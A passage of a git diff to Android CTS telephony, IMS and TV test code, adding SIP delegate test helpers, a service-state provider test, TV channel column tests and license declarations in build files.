+        mLatch = new CountDownLatch(operationCount);
+    }
+
+    /**
+     * Wait for the latch set in {@link #setOperationCountDownLatch(int)} to complete.
+     * @param timeoutMs The time to wait before giving up.
+     * @return {@code true} if the latch successfully counted down, {@code false} if time elaptsed
+     * before it counted down.
+     */
+    public boolean waitForCountDown(long timeoutMs) {
+        while (mLatch.getCount() > 0) {
+            try {
+                return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException ignore) { }
+        }
+        return true;
+    }
+
+    /**
+     * Wait up to five seconds (retrying a command 1 time per second) until ImsExceptions due to the
+     * ImsService not being available go away.
+     */
+    private void callUntilImsServiceIsAvailableNoReturn(ExceptionRunnable command)
+            throws Exception {
+        int retry = 0;
+        while (retry < 5) {
+            try {
+                command.run();
+                return;
+            } catch (ImsException e) {
+                // we want to absorb only the unavailable error, as telephony may still be
+                // internally setting up. Any other type of ImsException is unexpected.
+                if (e.getCode() != ImsException.CODE_ERROR_SERVICE_UNAVAILABLE) {
+                    throw e;
+                }
+            }
+            Thread.sleep(1000);
+            retry++;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
index b7db4c8..ed5a07b 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
@@ -16,13 +16,103 @@
 
 package android.telephony.ims.cts;
 
+import static org.junit.Assert.fail;
+
+import android.telephony.ims.DelegateMessageCallback;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.DelegateStateCallback;
+import android.telephony.ims.stub.SipDelegate;
 import android.telephony.ims.stub.SipTransportImplBase;
 
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
 
 public class TestSipTransport extends SipTransportImplBase {
 
+    public static final String ONE_TO_ONE_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.msg\"";
+    public static final String GROUP_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.session\"";
+    public static final String FILE_TRANSFER_HTTP_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gppapplication.ims.iari.rcs.fthttp\"";
+
+    public static final int LATCH_CREATE_DELEGATE = 0;
+    public static final int LATCH_DESTROY_DELEGATE = 1;
+    private static final int LATCH_MAX = 2;
+    protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    private final ArrayList<TestSipDelegate> mDelegates = new ArrayList<>();
+    private final Object mLock = new Object();
+
     public TestSipTransport(Executor executor) {
         super(executor);
     }
+
+    @Override
+    public void createSipDelegate(int subscriptionId, @NonNull DelegateRequest request,
+            @NonNull DelegateStateCallback dc, @NonNull DelegateMessageCallback mc) {
+        TestSipDelegate d = new TestSipDelegate(subscriptionId, request, dc, mc);
+        synchronized (mLock) {
+            mDelegates.add(d);
+        }
+        countDownLatch(LATCH_CREATE_DELEGATE);
+    }
+
+    @Override
+    public void destroySipDelegate(@NonNull SipDelegate delegate, int reason) {
+        if (delegate instanceof TestSipDelegate) {
+            synchronized (mLock) {
+                mDelegates.remove(delegate);
+            }
+            countDownLatch(LATCH_DESTROY_DELEGATE);
+        } else {
+            fail("unknown delegate passed in!");
+        }
+    }
+
+    public List<TestSipDelegate> getDelegates() {
+        synchronized (mLock) {
+            return mDelegates;
+        }
+    }
+
+    public TestSipDelegate getDelegate(DelegateRequest request) {
+        synchronized (mLock) {
+            return mDelegates.stream().filter((d) -> d.delegateRequest.equals(request))
+                    .findFirst().orElse(null);
+        }
+    }
+
+    public boolean waitForLatchCountdownAndReset(int latchIndex) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    private void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
new file mode 100644
index 0000000..5b631ec
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The Activity to run the UCE APIs verification in the foreground.
+ */
+public class UceActivity extends Activity {
+
+    public static final String ACTION_FINISH = "android.telephony.ims.cts.action_finish";
+
+    private static CountDownLatch sCountDownLatch;
+
+    public static void setCountDownLatch(CountDownLatch countDownLatch) {
+        sCountDownLatch = countDownLatch;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        SurfaceView mSurfaceView = new SurfaceView(this);
+        mSurfaceView.setWillNotDraw(false);
+        mSurfaceView.setZOrderOnTop(true);
+        setContentView(mSurfaceView,
+                new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        if (sCountDownLatch != null) {
+            sCountDownLatch.countDown();
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        if (ACTION_FINISH.equals(intent.getAction())) {
+            finish();
+            sCountDownLatch = null;
+        }
+    }
+}
diff --git a/tests/tests/telephony/sdk28/Android.bp b/tests/tests/telephony/sdk28/Android.bp
index 2a3ecd1..bf23f39 100644
--- a/tests/tests/telephony/sdk28/Android.bp
+++ b/tests/tests/telephony/sdk28/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelephonySdk28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index 19a4fad..0765992 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelephony2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony3/Android.bp b/tests/tests/telephony3/Android.bp
index 7249851..d520461 100644
--- a/tests/tests/telephony3/Android.bp
+++ b/tests/tests/telephony3/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelephony3TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony4/Android.bp b/tests/tests/telephony4/Android.bp
index 08097b5..8cd8a33 100644
--- a/tests/tests/telephony4/Android.bp
+++ b/tests/tests/telephony4/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSimRestrictedApisTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony4/certs/Android.bp b/tests/tests/telephony4/certs/Android.bp
index 96bea9e..3d40a48 100644
--- a/tests/tests/telephony4/certs/Android.bp
+++ b/tests/tests/telephony4/certs/Android.bp
@@ -1,5 +1,14 @@
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 android_app_certificate {
     name: "android_telephony_cts_testkey",
     certificate: "android_telephony_cts_testkey",
 }
-
diff --git a/tests/tests/telephonyprovider/Android.bp b/tests/tests/telephonyprovider/Android.bp
index 59d3cbc..90b02ae 100644
--- a/tests/tests/telephonyprovider/Android.bp
+++ b/tests/tests/telephonyprovider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTelephonyProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephonyprovider/AndroidManifest.xml b/tests/tests/telephonyprovider/AndroidManifest.xml
index 9a9e618..4adb19a 100755
--- a/tests/tests/telephonyprovider/AndroidManifest.xml
+++ b/tests/tests/telephonyprovider/AndroidManifest.xml
@@ -19,10 +19,11 @@
     package="android.telephonyprovider.cts"
     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ServiceStateTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ServiceStateTest.java
new file mode 100644
index 0000000..f8f9665
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ServiceStateTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static android.provider.Telephony.ServiceStateTable.VOICE_REG_STATE;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+import android.telephony.TelephonyManager;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@SmallTest
+public class ServiceStateTest {
+
+    private ContentResolver mContentResolver;
+    private TelephonyManager mTelephonyManager;
+
+    @Before
+    public void setupTestEnvironment() {
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+        mTelephonyManager =
+                getInstrumentation().getContext().getSystemService(TelephonyManager.class);
+    }
+
+    /**
+     * Asserts that the voice reg state is valid and matches TelephonyManager#getServiceState().
+     */
+    @Test
+    public void testGetVoiceRegState() {
+        Uri uri = Telephony.ServiceStateTable.CONTENT_URI;
+        assertThat(uri).isEqualTo(Uri.parse("content://service-state/"));
+
+        Cursor cursor = mContentResolver.query(uri, new String[] {VOICE_REG_STATE}, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        cursor.moveToNext();
+
+        int voiceRegState = cursor.getInt(cursor.getColumnIndex(VOICE_REG_STATE));
+        assertThat(voiceRegState).isEqualTo(mTelephonyManager.getServiceState().getState());
+    }
+}
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index 0a7d918..841f4bf 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTextTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/text/jni/Android.bp b/tests/tests/text/jni/Android.bp
index 7821605..2d32210 100644
--- a/tests/tests/text/jni/Android.bp
+++ b/tests/tests/text/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library {
     name: "libctstext_jni",
     sdk_version: "current",
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index c3e03838..6a536ec 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTextClassifierTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
index ccc9362..2120ed3 100644
--- a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
+++ b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsQueryTextClassifierServiceActivity",
     defaults: ["cts_defaults"],
@@ -25,4 +29,4 @@
         "mts"
     ],
     srcs: ["src/**/*.java"],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/theme/Android.bp b/tests/tests/theme/Android.bp
index 20a8ce2..33f5c58 100644
--- a/tests/tests/theme/Android.bp
+++ b/tests/tests/theme/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsThemeDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/toast/Android.bp b/tests/tests/toast/Android.bp
index aa85ab9..24c62dc0 100644
--- a/tests/tests/toast/Android.bp
+++ b/tests/tests/toast/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsToastTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/toast/OWNERS b/tests/tests/toast/OWNERS
index 5cb1f47..9363c1a 100644
--- a/tests/tests/toast/OWNERS
+++ b/tests/tests/toast/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 137825
 svetoslavganov@google.com
-moltmann@google.com
 toddke@google.com
diff --git a/tests/tests/toastlegacy/Android.bp b/tests/tests/toastlegacy/Android.bp
index a558405..cc80890 100644
--- a/tests/tests/toastlegacy/Android.bp
+++ b/tests/tests/toastlegacy/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsToastLegacyTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/tools/processors/view_inspector/Android.bp b/tests/tests/tools/processors/view_inspector/Android.bp
index 7b39403..1d6d509 100644
--- a/tests/tests/tools/processors/view_inspector/Android.bp
+++ b/tests/tests/tools/processors/view_inspector/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsViewInspectorAnnotationProcessorTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/transition/Android.bp b/tests/tests/transition/Android.bp
index 35cd22a..34dcd0c 100644
--- a/tests/tests/transition/Android.bp
+++ b/tests/tests/transition/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTransitionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index 783594c..0d46c74 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -65,13 +65,18 @@
         mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
             @Override
             public Rect onGetEpicenter(Transition transition) {
-                return new Rect(0, 0, redValues.view.getWidth(), redValues.view.getHeight());
+                final int[] offset = new int[2];
+                redValues.view.getLocationOnScreen(offset);
+
+                return new Rect(
+                    offset[0], offset[1],
+                    offset[0] + redValues.view.getWidth(), offset[1] + redValues.view.getHeight());
             }
         });
 
         long redDelay = getDelay(R.id.redSquare);
-        // red square's delay should be roughly 0 since it is at the epicenter
-        assertEquals(0f, redDelay, 30f);
+        // red square's delay should be 0 since it is at the epicenter
+        assertEquals(0, redDelay);
 
         // The green square is on the upper-right
         long greenDelay = getDelay(R.id.greenSquare);
diff --git a/tests/tests/tv/Android.bp b/tests/tests/tv/Android.bp
index 93e4be3..aeaa943 100644
--- a/tests/tests/tv/Android.bp
+++ b/tests/tests/tv/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsTvTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/tv/OWNERS b/tests/tests/tv/OWNERS
index 6d10309..215ebb0 100644
--- a/tests/tests/tv/OWNERS
+++ b/tests/tests/tv/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 105760
+amyjojo@google.com
 nchalko@google.com
+quxiangfang@google.com
 shubang@google.com
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 6314ec5..055b75d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -62,6 +62,11 @@
         Channels.COLUMN_INTERNAL_PROVIDER_DATA,
         Channels.COLUMN_VERSION_NUMBER,
         Channels.COLUMN_INTERNAL_PROVIDER_ID,
+        Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER,
+        Channels.COLUMN_SCRAMBLED,
+        Channels.COLUMN_VIDEO_RESOLUTION,
+        Channels.COLUMN_CHANNEL_LIST_ID,
+        Channels.COLUMN_BROADCAST_GENRE,
     };
 
     private static final String[] PROGRAMS_PROJECTION = {
@@ -331,6 +336,11 @@
             verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_ID);
             verifyBlobColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_DATA);
             verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_VERSION_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_SCRAMBLED);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_VIDEO_RESOLUTION);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_CHANNEL_LIST_ID);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_BROADCAST_GENRE);
         }
     }
 
@@ -560,6 +570,132 @@
         }
     }
 
+    public void testChannelsTableForRemoteControlKeyPresetNumber() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 100);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 200);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForScrambled() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 0);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 1);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForVideoResolution() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_SD);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_HD);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForChannelListId() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-0");
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-1");
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsForBroadcastGenre() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        String[] newBroadcastGenre = new String[] {"Sports"};
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(newBroadcastGenre));
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+     public void testChannelsBroadcastGenreEncodeDecode() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert / Encode
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: Decode
+        try (Cursor c = mContentResolver.query(Channels.CONTENT_URI,
+                new String[] {Channels.COLUMN_BROADCAST_GENRE}, null, null, null)) {
+            assertNotNull(c);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            MoreAsserts.assertEquals(broadcastGenre, Genres.decode(c.getString(0)));
+        }
+    }
+
     private void verifyProgram(Uri programUri, ContentValues expectedValues, long programId) {
         try (Cursor cursor = mContentResolver.query(
                 programUri, null, null, null, null)) {
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
index cb1bae9..5525963 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
@@ -33,7 +33,7 @@
 import com.google.common.truth.Subject;
 
 /** Test {@link Subject} for {@link TvTrackInfo}. */
-public final class TvTrackInfoSubject extends Subject<TvTrackInfoSubject, TvTrackInfo> {
+public final class TvTrackInfoSubject extends Subject {
     // TODO(b/153190774): Move to androidx.test.ext.truth
 
     @Nullable
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 2012192..5e26e25 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -35,6 +35,7 @@
 import android.media.tv.tuner.dvr.OnRecordStatusChangedListener;
 
 import android.media.tv.tuner.filter.AudioDescriptor;
+import android.media.tv.tuner.filter.AvSettings;
 import android.media.tv.tuner.filter.DownloadEvent;
 import android.media.tv.tuner.filter.FilterCallback;
 import android.media.tv.tuner.filter.FilterConfiguration;
@@ -174,60 +175,87 @@
 
         FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
         int res = mTuner.tune(createFrontendSettings(info));
-        FrontendStatus status = mTuner.getFrontendStatus(
-                new int[] {
-                        FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SNR,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_BER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_FEC,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_EWBS,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_AGC,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LNA,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_MER,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK,
-                        FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO
-                });
+
+        int[] statusCapabilities = info.getStatusCapabilities();
+        assertNotNull(statusCapabilities);
+        FrontendStatus status = mTuner.getFrontendStatus(statusCapabilities);
         assertNotNull(status);
 
-        status.isDemodLocked();
-        status.getSnr();
-        status.getBer();
-        status.getPer();
-        status.getPerBer();
-        status.getSignalQuality();
-        status.getSignalStrength();
-        status.getSymbolRate();
-        status.getInnerFec();
-        status.getModulation();
-        status.getSpectralInversion();
-        status.getLnbVoltage();
-        status.getPlpId();
-        status.isEwbs();
-        status.getAgc();
-        status.isLnaOn();
-        status.getLayerErrors();
-        status.getMer();
-        status.getFreqOffset();
-        status.getHierarchy();
-        status.isRfLocked();
-        Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
-        if (tuningInfos != null) {
-            for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
-                tuningInfo.getPlpId();
-                tuningInfo.isLocked();
-                tuningInfo.getUec();
+        for (int i = 0; i < statusCapabilities.length; i++) {
+            switch (statusCapabilities[i]) {
+                case FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK:
+                    status.isDemodLocked();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SNR:
+                    status.getSnr();
+                    break;
